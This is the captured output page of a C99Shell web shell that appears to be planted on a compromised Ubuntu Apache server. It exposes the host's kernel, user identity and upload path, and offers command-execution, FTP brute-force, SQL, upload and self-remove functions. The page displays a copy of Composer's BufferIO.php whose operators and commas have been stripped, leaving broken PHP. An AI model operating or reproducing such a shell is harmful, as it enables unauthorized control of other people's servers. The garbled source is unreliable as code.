!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/IO/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BufferIO.php (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\IO;

use 
Symfony\Component\Console\Helper\QuestionHelper;
use 
Symfony\Component\Console\Output\StreamOutput;
use 
Symfony\Component\Console\Formatter\OutputFormatterInterface;
use 
Symfony\Component\Console\Input\StreamableInputInterface;
use 
Symfony\Component\Console\Input\StringInput;
use 
Symfony\Component\Console\Helper\HelperSet;

/**
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class BufferIO extends ConsoleIO
{
    
/**
     * @param string                        $input
     * @param int                           $verbosity
     * @param OutputFormatterInterface|null $formatter
     */
    
public function __construct($input ''$verbosity StreamOutput::VERBOSITY_NORMALOutputFormatterInterface $formatter null)
    {
        
$input = new StringInput($input);
        
$input->setInteractive(false);

        
$output = new StreamOutput(fopen('php://memory''rw'), $verbosity$formatter $formatter->isDecorated() : false$formatter);

        
parent::__construct($input$output, new HelperSet(array(
            new 
QuestionHelper(),
        )));
    }

    public function 
getOutput()
    {
        
fseek($this->output->getStream(), 0);

        
$output stream_get_contents($this->output->getStream());

        
$output preg_replace_callback("{(?<=^|\n|\x08)(.+?)(\x08+)}", function ($matches) {
            
$pre strip_tags($matches[1]);

            if (
strlen($pre) === strlen($matches[2])) {
                return 
'';
            }

            
// TODO reverse parse the string, skipping span tags and \033\[([0-9;]+)m(.*?)\033\[0m style blobs
            
return rtrim($matches[1])."\n";
        }, 
$output);

        return 
$output;
    }

    public function 
setUserInputs(array $inputs)
    {
        if (!
$this->input instanceof StreamableInputInterface) {
            throw new 
\RuntimeException('Setting the user inputs requires at least the version 3.2 of the symfony/console component.');
        }

        
$this->input->setStream($this->createStream($inputs));
        
$this->input->setInteractive(true);
    }

    private function 
createStream(array $inputs)
    {
        
$stream fopen('php://memory''r+');

        foreach (
$inputs as $input) {
            
fwrite($stream$input.PHP_EOL);
        }

        
rewind($stream);

        return 
$stream;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0093 ]--